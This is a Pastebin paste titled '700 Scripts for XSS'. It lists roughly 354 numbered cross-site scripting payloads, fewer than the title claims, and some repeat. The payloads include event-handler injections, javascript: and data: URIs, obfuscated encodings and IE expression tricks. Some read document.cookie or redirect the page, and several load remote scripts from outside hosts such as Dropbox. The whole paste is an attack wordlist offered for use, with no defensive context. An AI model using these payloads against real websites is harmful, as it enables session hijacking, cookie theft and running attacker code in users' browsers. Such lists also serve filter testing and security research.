API tools faq
paste
FlyFar

700 Scripts for XSS

FlyFar
Feb 2nd, 2024
89
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 47.59 KB | Cybersecurity | 0 0
raw download clone embed print report
  1. %253Cscript%253Ealert('XSS')%253C%252Fscript%253E
  2. <IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
  3. <IMG SRC=x onafterprint="alert(String.fromCharCode(88,83,83))">
  4. <IMG SRC=x onbeforeprint="alert(String.fromCharCode(88,83,83))">
  5. <IMG SRC=x onbeforeunload="alert(String.fromCharCode(88,83,83))">
  6. <IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
  7. <IMG SRC=x onhashchange="alert(String.fromCharCode(88,83,83))">
  8. <IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
  9. <IMG SRC=x onmessage="alert(String.fromCharCode(88,83,83))">
  10. <IMG SRC=x ononline="alert(String.fromCharCode(88,83,83))">
  11. <IMG SRC=x onoffline="alert(String.fromCharCode(88,83,83))">
  12. <IMG SRC=x onpagehide="alert(String.fromCharCode(88,83,83))">
  13. <IMG SRC=x onpageshow="alert(String.fromCharCode(88,83,83))">
  14. <IMG SRC=x onpopstate="alert(String.fromCharCode(88,83,83))">
  15. <IMG SRC=x onresize="alert(String.fromCharCode(88,83,83))">
  16. <IMG SRC=x onstorage="alert(String.fromCharCode(88,83,83))">
  17. <IMG SRC=x onunload="alert(String.fromCharCode(88,83,83))">
  18. <IMG SRC=x onblur="alert(String.fromCharCode(88,83,83))">
  19. <IMG SRC=x onchange="alert(String.fromCharCode(88,83,83))">
  20. <IMG SRC=x oncontextmenu="alert(String.fromCharCode(88,83,83))">
  21. <IMG SRC=x oninput="alert(String.fromCharCode(88,83,83))">
  22. <IMG SRC=x oninvalid="alert(String.fromCharCode(88,83,83))">
  23. <IMG SRC=x onreset="alert(String.fromCharCode(88,83,83))">
  24. <IMG SRC=x onsearch="alert(String.fromCharCode(88,83,83))">
  25. <IMG SRC=x onselect="alert(String.fromCharCode(88,83,83))">
  26. <IMG SRC=x onsubmit="alert(String.fromCharCode(88,83,83))">
  27. <IMG SRC=x onkeydown="alert(String.fromCharCode(88,83,83))">
  28. <IMG SRC=x onkeypress="alert(String.fromCharCode(88,83,83))">
  29. <IMG SRC=x onkeyup="alert(String.fromCharCode(88,83,83))">
  30. <IMG SRC=x onclick="alert(String.fromCharCode(88,83,83))">
  31. <IMG SRC=x ondblclick="alert(String.fromCharCode(88,83,83))">
  32. <IMG SRC=x onmousedown="alert(String.fromCharCode(88,83,83))">
  33. <IMG SRC=x onmousemove="alert(String.fromCharCode(88,83,83))">
  34. <IMG SRC=x onmouseout="alert(String.fromCharCode(88,83,83))">
  35. <IMG SRC=x onmouseover="alert(String.fromCharCode(88,83,83))">
  36. <IMG SRC=x onmouseup="alert(String.fromCharCode(88,83,83))">
  37. <IMG SRC=x onmousewheel="alert(String.fromCharCode(88,83,83))">
  38. <IMG SRC=x onwheel="alert(String.fromCharCode(88,83,83))">
  39. <IMG SRC=x ondrag="alert(String.fromCharCode(88,83,83))">
  40. <IMG SRC=x ondragend="alert(String.fromCharCode(88,83,83))">
  41. <IMG SRC=x ondragenter="alert(String.fromCharCode(88,83,83))">
  42. <IMG SRC=x ondragleave="alert(String.fromCharCode(88,83,83))">
  43. <IMG SRC=x ondragover="alert(String.fromCharCode(88,83,83))">
  44. <IMG SRC=x ondragstart="alert(String.fromCharCode(88,83,83))">
  45. <IMG SRC=x ondrop="alert(String.fromCharCode(88,83,83))">
  46. <IMG SRC=x onscroll="alert(String.fromCharCode(88,83,83))">
  47. <IMG SRC=x oncopy="alert(String.fromCharCode(88,83,83))">
  48. <IMG SRC=x oncut="alert(String.fromCharCode(88,83,83))">
  49. <IMG SRC=x onpaste="alert(String.fromCharCode(88,83,83))">
  50. <IMG SRC=x onabort="alert(String.fromCharCode(88,83,83))">
  51. <IMG SRC=x oncanplay="alert(String.fromCharCode(88,83,83))">
  52. <IMG SRC=x oncanplaythrough="alert(String.fromCharCode(88,83,83))">
  53. <IMG SRC=x oncuechange="alert(String.fromCharCode(88,83,83))">
  54. <IMG SRC=x ondurationchange="alert(String.fromCharCode(88,83,83))">
  55. <IMG SRC=x onemptied="alert(String.fromCharCode(88,83,83))">
  56. <IMG SRC=x onended="alert(String.fromCharCode(88,83,83))">
  57. <IMG SRC=x onerror="alert(String.fromCharCode(88,83,83))">
  58. <IMG SRC=x onloadeddata="alert(String.fromCharCode(88,83,83))">
  59. <IMG SRC=x onloadedmetadata="alert(String.fromCharCode(88,83,83))">
  60. <IMG SRC=x onloadstart="alert(String.fromCharCode(88,83,83))">
  61. <IMG SRC=x onpause="alert(String.fromCharCode(88,83,83))">
  62. <IMG SRC=x onplay="alert(String.fromCharCode(88,83,83))">
  63. <IMG SRC=x onplaying="alert(String.fromCharCode(88,83,83))">
  64. <IMG SRC=x onprogress="alert(String.fromCharCode(88,83,83))">
  65. <IMG SRC=x onratechange="alert(String.fromCharCode(88,83,83))">
  66. <IMG SRC=x onseeked="alert(String.fromCharCode(88,83,83))">
  67. <IMG SRC=x onseeking="alert(String.fromCharCode(88,83,83))">
  68. <IMG SRC=x onstalled="alert(String.fromCharCode(88,83,83))">
  69. <IMG SRC=x onsuspend="alert(String.fromCharCode(88,83,83))">
  70. <IMG SRC=x ontimeupdate="alert(String.fromCharCode(88,83,83))">
  71. <IMG SRC=x onvolumechange="alert(String.fromCharCode(88,83,83))">
  72. <IMG SRC=x onwaiting="alert(String.fromCharCode(88,83,83))">
  73. <IMG SRC=x onshow="alert(String.fromCharCode(88,83,83))">
  74. <IMG SRC=x ontoggle="alert(String.fromCharCode(88,83,83))">
  75. <META onpaonpageonpagonpageonpageshowshoweshowshowgeshow="alert(1)";
  76. <IMG SRC=x onload="alert(String.fromCharCode(88,83,83))">
  77. <INPUT TYPE="BUTTON" action="alert('XSS')"/>
  78. "><h1><IFRAME SRC="javascript:alert('XSS');"></IFRAME>">123</h1>
  79. "><h1><IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>123</h1>
  80. <IFRAME SRC="javascript:alert('XSS');"></IFRAME>
  81. <IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>
  82. "><h1><IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>123</h1>
  83. "></iframe><script>alert(`TEXT YOU WANT TO BE DISPLAYED`);</script><iframe frameborder="0%EF%BB%BF
  84. "><h1><IFRAME width="420" height="315" SRC="http://www.youtube.com/embed/sxvccpasgTE" frameborder="0" onmouseover="alert(document.cookie)"></IFRAME>123</h1>
  85. "><h1><iframe width="420" height="315" src="http://www.youtube.com/embed/sxvccpasgTE" frameborder="0" allowfullscreen></iframe>123</h1>
  86. ><h1><IFRAME width="420" height="315" frameborder="0" onmouseover="document.location.href='https://www.youtube.com/channel/UC9Qa_gXarSmObPX3ooIQZr
  87. g'"></IFRAME>Hover the cursor to the LEFT of this Message</h1>&ParamHeight=250
  88. <IFRAME width="420" height="315" frameborder="0" onload="alert(document.cookie)"></IFRAME>
  89. "><h1><IFRAME SRC="javascript:alert('XSS');"></IFRAME>">123</h1>
  90. "><h1><IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>123</h1>
  91. <iframe src=http://xss.rocks/scriptlet.html <
  92. <IFRAME SRC="javascript:alert('XSS');"></IFRAME>
  93. <IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>
  94. <iframe src="&Tab;javascript:prompt(1)&Tab;">
  95. <svg><style>{font-family&colon;'<iframe/onload=confirm(1)>'
  96. <input/onmouseover="javaSCRIPT&colon;confirm&lpar;1&rpar;"
  97. <sVg><scRipt >alert&lpar;1&rpar; {Opera}
  98. <img/src=`` onerror=this.onerror=confirm(1)
  99. <form><isindex formaction="javascript&colon;confirm(1)"
  100. <img src=``&NewLine; onerror=alert(1)&NewLine;
  101. <script/&Tab; src='https://dl.dropbox.com/u/13018058/js.js' /&Tab;></script>
  102. <ScRipT 5-0*3+9/3=>prompt(1)</ScRipT giveanswerhere=?
  103. <iframe/src="data:text/html;&Tab;base64&Tab;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
  104. <script /**/>/**/alert(1)/**/</script /**/
  105. &#34;&#62;<h1/onmouseover='\u0061lert(1)'>
  106. <iframe/src="data:text/html,<svg &#111;&#110;load=alert(1)>">
  107. <meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/>
  108. <svg><script xlink:href=data&colon;,window.open('https://www.google.com/') </script
  109. <svg><script x:href='https://dl.dropbox.com/u/13018058/js.js' {Opera}
  110. <meta http-equiv="refresh" content="0;url=javascript:confirm(1)">
  111. <iframe src=javascript&colon;alert&lpar;document&period;location&rpar;>
  112. <form><a href="javascript:\u0061lert&#x28;1&#x29;">X</script><img/*/src="worksinchrome&colon;prompt&#x28;1&#x29;"/*/onerror='eval(src)'>
  113. <img/&#09;&#10;&#11; src=`~` onerror=prompt(1)>
  114. <form><iframe &#09;&#10;&#11; src="javascript&#58;alert(1)"&#11;&#10;&#09;;>
  115. <a href="data:application/x-x509-user-cert;&NewLine;base64&NewLine;,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="&#09;&#10;&#11;>X</a
  116. http://www.google<script .com>alert(document.location)</script
  117. <a&#32;href&#61;&#91;&#00;&#93;"&#00; onmouseover=prompt&#40;1&#41;&#47;&#47;">XYZ</a
  118. <img/src=@&#32;&#13; onerror = prompt('&#49;')
  119. <style/onload=prompt&#40;'&#88;&#83;&#83;'&#41;
  120. <script ^__^>alert(String.fromCharCode(49))</script ^__^
  121. </style &#32;><script &#32; :-(>/**/alert(document.location)/**/</script &#32; :-(
  122. &#00;</form><input type&#61;"date" onfocus="alert(1)">
  123. <form><textarea &#13; onkeyup='\u0061\u006C\u0065\u0072\u0074&#x28;1&#x29;'>
  124. <script /***/>/***/confirm('\uFF41\uFF4C\uFF45\uFF52\uFF54\u1455\uFF11\u1450')/***/</script /***/
  125. <iframe srcdoc='&lt;body onload=prompt&lpar;1&rpar;&gt;'>
  126. <a href="javascript:void(0)" onmouseover=&NewLine;javascript:alert(1)&NewLine;>X</a>
  127. <script ~~~>alert(0%0)</script ~~~>
  128. <style/onload=&lt;!--&#09;&gt;&#10;alert&#10;&lpar;1&rpar;>
  129. <///style///><span %2F onmousemove='alert&lpar;1&rpar;'>SPAN
  130. <img/src='http://i.imgur.com/P8mL8.jpg' onmouseover=&Tab;prompt(1)
  131. &#34;&#62;<svg><style>{-o-link-source&colon;'<body/onload=confirm(1)>'
  132. &#13;<blink/&#13; onmouseover=pr&#x6F;mp&#116;(1)>OnMouseOver {Firefox & Opera}
  133. <marquee onstart='javascript:alert&#x28;1&#x29;'>^__^
  134. <div/style="width:expression(confirm(1))">X</div> {IE7}
  135. <iframe// src=javaSCRIPT&colon;alert(1)
  136. //<form/action=javascript&#x3A;alert&lpar;document&period;cookie&rpar;><input/type='submit'>//
  137. /*iframe/src*/<iframe/src="<iframe/src=@"/onload=prompt(1) /*iframe/src*/>
  138. //|\\ <script //|\\ src='https://dl.dropbox.com/u/13018058/js.js'> //|\\ </script //|\\
  139. </font>/<svg><style>{src&#x3A;'<style/onload=this.onload=confirm(1)>'</font>/</style>
  140. <a/href="javascript:&#13; javascript:prompt(1)"><input type="X">
  141. </plaintext\></|\><plaintext/onmouseover=prompt(1)
  142. </svg>''<svg><script 'AQuickBrownFoxJumpsOverTheLazyDog'>alert&#x28;1&#x29; {Opera}
  143. <a href="javascript&colon;\u0061&#x6C;&#101%72t&lpar;1&rpar;"><button>
  144. <div onmouseover='alert&lpar;1&rpar;'>DIV</div>
  145. <iframe style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)">
  146. <a href="jAvAsCrIpT&colon;alert&lpar;1&rpar;">X</a>
  147. <embed src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">
  148. <object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">
  149. <var onmouseover="prompt(1)">On Mouse Over</var>
  150. <a href=javascript&colon;alert&lpar;document&period;cookie&rpar;>Click Here</a>
  151. <img src="/" =_=" title="onerror='prompt(1)'">
  152. <%<!--'%><script>alert(1);</script -->
  153. <script src="data:text/javascript,alert(1)"></script>
  154. <iframe/src \/\/onload = prompt(1)
  155. <iframe/onreadystatechange=alert(1)
  156. <svg/onload=alert(1)
  157. <input value=<><iframe/src=javascript:confirm(1)
  158. <input type="text" value=`` <div/onmouseover='alert(1)'>X</div>
  159. http://www.<script>alert(1)</script .com
  160. <iframe src=j&NewLine;&Tab;a&NewLine;&Tab;&Tab;v&NewLine;&Tab;&Tab;&Tab;a&NewLine;&Tab;&Tab;&Tab;&Tab;s&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;c&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;i&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;p&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&colon;a&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;l&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;e&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;28&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;1&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%29></iframe>
  161. <svg><script ?>alert(1)
  162. <iframe src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;%28&Tab;1&Tab;%29></iframe>
  163. <img src=`xx:xx`onerror=alert(1)>
  164. <object type="text/x-scriptlet" data="http://jsfiddle.net/XLE63/ "></object>
  165. <meta http-equiv="refresh" content="0;javascript&colon;alert(1)"/>
  166. <math><a xlink:href="//jsfiddle.net/t846h/">click
  167. <embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>
  168. <svg contentScriptType=text/vbs><script>MsgBox+1
  169. <a href="data:text/html;base64_,<svg/onload=\u0061&#x6C;&#101%72t(1)>">X</a
  170. <iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('\u0061') worksinIE>
  171. <script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script U+
  172. <script/src="data&colon;text%2Fj\u0061v\u0061script,\u0061lert('\u0061')"></script a=\u0061 & /=%2F
  173. <script/src=data&colon;text/j\u0061v\u0061&#115&#99&#114&#105&#112&#116,\u0061%6C%65%72%74(/XSS/)></script
  174. <object data=javascript&colon;\u0061&#x6C;&#101%72t(1)>
  175. <script>+-+-1-+-+alert(1)</script>
  176. <body/onload=&lt;!--&gt;&#10alert(1)>
  177. <script itworksinallbrowsers>/*<script* */alert(1)</script
  178. <img src ?itworksonchrome?\/onerror = alert(1)
  179. <svg><script>//&NewLine;confirm(1);</script </svg>
  180. <svg><script onlypossibleinopera:-)> alert(1)
  181. <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script&#x3A;&#97lert(1)>ClickMe
  182. <script x> alert(1) </script 1=2
  183. <div/onmouseover='alert(1)'> style="x:">
  184. <--`<img/src=` onerror=alert(1)> --!>
  185. <script/src=&#100&#97&#116&#97:text/&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x000070&#x074,&#x0061;&#x06c;&#x0065;&#x00000072;&#x00074;(1)></script>
  186. <div style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="alert(1)">x</button>
  187. "><img src=x onerror=window.open('https://www.google.com/');>
  188. <form><button formaction=javascript&colon;alert(1)>CLICKME
  189. <math><a xlink:href="//jsfiddle.net/t846h/">click
  190. <object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object>
  191. <iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
  192. <a href="data:text/html;blabla,&#60&#115&#99&#114&#105&#112&#116&#32&#115&#114&#99&#61&#34&#104&#116&#116&#112&#58&#47&#47&#115&#116&#101&#114&#110&#101&#102&#97&#109&#105&#108&#121&#46&#110&#101&#116&#47&#102&#111&#111&#46&#106&#115&#34&#62&#60&#47&#115&#99&#114&#105&#112&#116&#62&#8203">Click Me</a>
  193. <script\x20type="text/javascript">javascript:alert(1);</script>
  194. <script\x3Etype="text/javascript">javascript:alert(1);</script>
  195. <script\x0Dtype="text/javascript">javascript:alert(1);</script>
  196. <script\x09type="text/javascript">javascript:alert(1);</script>
  197. <script\x0Ctype="text/javascript">javascript:alert(1);</script>
  198. <script\x2Ftype="text/javascript">javascript:alert(1);</script>
  199. <script\x0Atype="text/javascript">javascript:alert(1);</script>
  200. '`"><\x3Cscript>javascript:alert(1)</script>
  201. '`"><\x00script>javascript:alert(1)</script>
  202. <img src=1 href=1 onerror="javascript:alert(1)"></img>
  203. <audio src=1 href=1 onerror="javascript:alert(1)"></audio>
  204. <video src=1 href=1 onerror="javascript:alert(1)"></video>
  205. <body src=1 href=1 onerror="javascript:alert(1)"></body>
  206. <image src=1 href=1 onerror="javascript:alert(1)"></image>
  207. <object src=1 href=1 onerror="javascript:alert(1)"></object>
  208. <script src=1 href=1 onerror="javascript:alert(1)"></script>
  209. <svg onResize svg onResize="javascript:javascript:alert(1)"></svg onResize>
  210. <title onPropertyChange title onPropertyChange="javascript:javascript:alert(1)"></title onPropertyChange>
  211. <iframe onLoad iframe onLoad="javascript:javascript:alert(1)"></iframe onLoad>
  212. <body onMouseEnter body onMouseEnter="javascript:javascript:alert(1)"></body onMouseEnter>
  213. <body onFocus body onFocus="javascript:javascript:alert(1)"></body onFocus>
  214. <frameset onScroll frameset onScroll="javascript:javascript:alert(1)"></frameset onScroll>
  215. <script onReadyStateChange script onReadyStateChange="javascript:javascript:alert(1)"></script onReadyStateChange>
  216. <html onMouseUp html onMouseUp="javascript:javascript:alert(1)"></html onMouseUp>
  217. <body onPropertyChange body onPropertyChange="javascript:javascript:alert(1)"></body onPropertyChange>
  218. <svg onLoad svg onLoad="javascript:javascript:alert(1)"></svg onLoad>
  219. <body onPageHide body onPageHide="javascript:javascript:alert(1)"></body onPageHide>
  220. <body onMouseOver body onMouseOver="javascript:javascript:alert(1)"></body onMouseOver>
  221. <body onUnload body onUnload="javascript:javascript:alert(1)"></body onUnload>
  222. <body onLoad body onLoad="javascript:javascript:alert(1)"></body onLoad>
  223. <bgsound onPropertyChange bgsound onPropertyChange="javascript:javascript:alert(1)"></bgsound onPropertyChange>
  224. <html onMouseLeave html onMouseLeave="javascript:javascript:alert(1)"></html onMouseLeave>
  225. <html onMouseWheel html onMouseWheel="javascript:javascript:alert(1)"></html onMouseWheel>
  226. <style onLoad style onLoad="javascript:javascript:alert(1)"></style onLoad>
  227. <iframe onReadyStateChange iframe onReadyStateChange="javascript:javascript:alert(1)"></iframe onReadyStateChange>
  228. <body onPageShow body onPageShow="javascript:javascript:alert(1)"></body onPageShow>
  229. <style onReadyStateChange style onReadyStateChange="javascript:javascript:alert(1)"></style onReadyStateChange>
  230. <frameset onFocus frameset onFocus="javascript:javascript:alert(1)"></frameset onFocus>
  231. <applet onError applet onError="javascript:javascript:alert(1)"></applet onError>
  232. <marquee onStart marquee onStart="javascript:javascript:alert(1)"></marquee onStart>
  233. <script onLoad script onLoad="javascript:javascript:alert(1)"></script onLoad>
  234. <html onMouseOver html onMouseOver="javascript:javascript:alert(1)"></html onMouseOver>
  235. <html onMouseEnter html onMouseEnter="javascript:parent.javascript:alert(1)"></html onMouseEnter>
  236. <body onBeforeUnload body onBeforeUnload="javascript:javascript:alert(1)"></body onBeforeUnload>
  237. <html onMouseDown html onMouseDown="javascript:javascript:alert(1)"></html onMouseDown>
  238. <marquee onScroll marquee onScroll="javascript:javascript:alert(1)"></marquee onScroll>
  239. <xml onPropertyChange xml onPropertyChange="javascript:javascript:alert(1)"></xml onPropertyChange>
  240. <frameset onBlur frameset onBlur="javascript:javascript:alert(1)"></frameset onBlur>
  241. <applet onReadyStateChange applet onReadyStateChange="javascript:javascript:alert(1)"></applet onReadyStateChange>
  242. <svg onUnload svg onUnload="javascript:javascript:alert(1)"></svg onUnload>
  243. <html onMouseOut html onMouseOut="javascript:javascript:alert(1)"></html onMouseOut>
  244. <body onMouseMove body onMouseMove="javascript:javascript:alert(1)"></body onMouseMove>
  245. <body onResize body onResize="javascript:javascript:alert(1)"></body onResize>
  246. <object onError object onError="javascript:javascript:alert(1)"></object onError>
  247. <body onPopState body onPopState="javascript:javascript:alert(1)"></body onPopState>
  248. <html onMouseMove html onMouseMove="javascript:javascript:alert(1)"></html onMouseMove>
  249. <applet onreadystatechange applet onreadystatechange="javascript:javascript:alert(1)"></applet onreadystatechange>
  250. <body onpagehide body onpagehide="javascript:javascript:alert(1)"></body onpagehide>
  251. <svg onunload svg onunload="javascript:javascript:alert(1)"></svg onunload>
  252. <applet onerror applet onerror="javascript:javascript:alert(1)"></applet onerror>
  253. <body onkeyup body onkeyup="javascript:javascript:alert(1)"></body onkeyup>
  254. <body onunload body onunload="javascript:javascript:alert(1)"></body onunload>
  255. <iframe onload iframe onload="javascript:javascript:alert(1)"></iframe onload>
  256. <body onload body onload="javascript:javascript:alert(1)"></body onload>
  257. <html onmouseover html onmouseover="javascript:javascript:alert(1)"></html onmouseover>
  258. <object onbeforeload object onbeforeload="javascript:javascript:alert(1)"></object onbeforeload>
  259. <body onbeforeunload body onbeforeunload="javascript:javascript:alert(1)"></body onbeforeunload>
  260. <body onfocus body onfocus="javascript:javascript:alert(1)"></body onfocus>
  261. <body onkeydown body onkeydown="javascript:javascript:alert(1)"></body onkeydown>
  262. <iframe onbeforeload iframe onbeforeload="javascript:javascript:alert(1)"></iframe onbeforeload>
  263. <iframe src iframe src="javascript:javascript:alert(1)"></iframe src>
  264. <svg onload svg onload="javascript:javascript:alert(1)"></svg onload>
  265. <html onmousemove html onmousemove="javascript:javascript:alert(1)"></html onmousemove>
  266. <body onblur body onblur="javascript:javascript:alert(1)"></body onblur>
  267. \x3Cscript>javascript:alert(1)</script>
  268. '"`><script>/* *\x2Fjavascript:alert(1)// */</script>
  269. <script>javascript:alert(1)</script\x0D
  270. <script>javascript:alert(1)</script\x0A
  271. <script>javascript:alert(1)</script\x0B
  272. <script charset="\x22>javascript:alert(1)</script>
  273. <!--\x3E<img src=xxx:x onerror=javascript:alert(1)> -->
  274. --><!-- ---> <img src=xxx:x onerror=javascript:alert(1)> -->
  275. --><!-- --\x00> <img src=xxx:x onerror=javascript:alert(1)> -->
  276. --><!-- --\x21> <img src=xxx:x onerror=javascript:alert(1)> -->
  277. --><!-- --\x3E> <img src=xxx:x onerror=javascript:alert(1)> -->
  278. `"'><img src='#\x27 onerror=javascript:alert(1)>
  279. <a href="javascript\x3Ajavascript:alert(1)" id="fuzzelement1">test</a>
  280. "'`><p><svg><script>a='hello\x27;javascript:alert(1)//';</script></p>
  281. <a href="javas\x00cript:javascript:alert(1)" id="fuzzelement1">test</a>
  282. <a href="javas\x07cript:javascript:alert(1)" id="fuzzelement1">test</a>
  283. <a href="javas\x0Dcript:javascript:alert(1)" id="fuzzelement1">test</a>
  284. <a href="javas\x0Acript:javascript:alert(1)" id="fuzzelement1">test</a>
  285. <a href="javas\x08cript:javascript:alert(1)" id="fuzzelement1">test</a>
  286. <a href="javas\x02cript:javascript:alert(1)" id="fuzzelement1">test</a>
  287. <a href="javas\x03cript:javascript:alert(1)" id="fuzzelement1">test</a>
  288. <a href="javas\x04cript:javascript:alert(1)" id="fuzzelement1">test</a>
  289. <a href="javas\x01cript:javascript:alert(1)" id="fuzzelement1">test</a>
  290. <a href="javas\x05cript:javascript:alert(1)" id="fuzzelement1">test</a>
  291. <a href="javas\x0Bcript:javascript:alert(1)" id="fuzzelement1">test</a>
  292. <a href="javas\x09cript:javascript:alert(1)" id="fuzzelement1">test</a>
  293. <a href="javas\x06cript:javascript:alert(1)" id="fuzzelement1">test</a>
  294. <a href="javas\x0Ccript:javascript:alert(1)" id="fuzzelement1">test</a>
  295. <script>/* *\x2A/javascript:alert(1)// */</script>
  296. <script>/* *\x00/javascript:alert(1)// */</script>
  297. <style></style\x3E<img src="about:blank" onerror=javascript:alert(1)//></style>
  298. <style></style\x0D<img src="about:blank" onerror=javascript:alert(1)//></style>
  299. <style></style\x09<img src="about:blank" onerror=javascript:alert(1)//></style>
  300. <style></style\x20<img src="about:blank" onerror=javascript:alert(1)//></style>
  301. <style></style\x0A<img src="about:blank" onerror=javascript:alert(1)//></style>
  302. "'`>ABC<div style="font-family:'foo'\x7Dx:expression(javascript:alert(1);/*';">DEF
  303. "'`>ABC<div style="font-family:'foo'\x3Bx:expression(javascript:alert(1);/*';">DEF
  304. <script>if("x\\xE1\x96\x89".length==2) { javascript:alert(1);}</script>
  305. <script>if("x\\xE0\xB9\x92".length==2) { javascript:alert(1);}</script>
  306. <script>if("x\\xEE\xA9\x93".length==2) { javascript:alert(1);}</script>
  307. '`"><\x3Cscript>javascript:alert(1)</script>
  308. '`"><\x00script>javascript:alert(1)</script>
  309. "'`><\x3Cimg src=xxx:x onerror=javascript:alert(1)>
  310. "'`><\x00img src=xxx:x onerror=javascript:alert(1)>
  311. <script src="data:text/plain\x2Cjavascript:alert(1)"></script>
  312. <script src="data:\xD4\x8F,javascript:alert(1)"></script>
  313. <script src="data:\xE0\xA4\x98,javascript:alert(1)"></script>
  314. <script src="data:\xCB\x8F,javascript:alert(1)"></script>
  315. <script\x20type="text/javascript">javascript:alert(1);</script>
  316. <script\x3Etype="text/javascript">javascript:alert(1);</script>
  317. <script\x0Dtype="text/javascript">javascript:alert(1);</script>
  318. <script\x09type="text/javascript">javascript:alert(1);</script>
  319. <script\x0Ctype="text/javascript">javascript:alert(1);</script>
  320. <script\x2Ftype="text/javascript">javascript:alert(1);</script>
  321. <script\x0Atype="text/javascript">javascript:alert(1);</script>
  322. ABC<div style="x\x3Aexpression(javascript:alert(1)">DEF
  323. ABC<div style="x:expression\x5C(javascript:alert(1)">DEF
  324. ABC<div style="x:expression\x00(javascript:alert(1)">DEF
  325. ABC<div style="x:exp\x00ression(javascript:alert(1)">DEF
  326. ABC<div style="x:exp\x5Cression(javascript:alert(1)">DEF
  327. ABC<div style="x:\x0Aexpression(javascript:alert(1)">DEF
  328. ABC<div style="x:\x09expression(javascript:alert(1)">DEF
  329. ABC<div style="x:\xE3\x80\x80expression(javascript:alert(1)">DEF
  330. ABC<div style="x:\xE2\x80\x84expression(javascript:alert(1)">DEF
  331. ABC<div style="x:\xC2\xA0expression(javascript:alert(1)">DEF
  332. ABC<div style="x:\xE2\x80\x80expression(javascript:alert(1)">DEF
  333. ABC<div style="x:\xE2\x80\x8Aexpression(javascript:alert(1)">DEF
  334. ABC<div style="x:\x0Dexpression(javascript:alert(1)">DEF
  335. ABC<div style="x:\x0Cexpression(javascript:alert(1)">DEF
  336. ABC<div style="x:\xE2\x80\x87expression(javascript:alert(1)">DEF
  337. ABC<div style="x:\xEF\xBB\xBFexpression(javascript:alert(1)">DEF
  338. ABC<div style="x:\x20expression(javascript:alert(1)">DEF
  339. ABC<div style="x:\xE2\x80\x88expression(javascript:alert(1)">DEF
  340. ABC<div style="x:\x00expression(javascript:alert(1)">DEF
  341. ABC<div style="x:\xE2\x80\x8Bexpression(javascript:alert(1)">DEF
  342. ABC<div style="x:\xE2\x80\x86expression(javascript:alert(1)">DEF
  343. ABC<div style="x:\xE2\x80\x85expression(javascript:alert(1)">DEF
  344. ABC<div style="x:\xE2\x80\x82expression(javascript:alert(1)">DEF
  345. ABC<div style="x:\x0Bexpression(javascript:alert(1)">DEF
  346. ABC<div style="x:\xE2\x80\x81expression(javascript:alert(1)">DEF
  347. ABC<div style="x:\xE2\x80\x83expression(javascript:alert(1)">DEF
  348. ABC<div style="x:\xE2\x80\x89expression(javascript:alert(1)">DEF
  349. <a href="\x0Bjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  350. <a href="\x0Fjavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  351. <a href="\xC2\xA0javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  352. <a href="\x05javascript:javascript:alert(1)" id="fuzzelement1">test</a>
  353. <a href="\xE1\xA0\x8Ejavascript:javascript:alert(1)" id="fuzzelement1">test</a>
  354. <a href="\x18javascript:javascript:alert(1)" id="fuzzelement1">test</a>
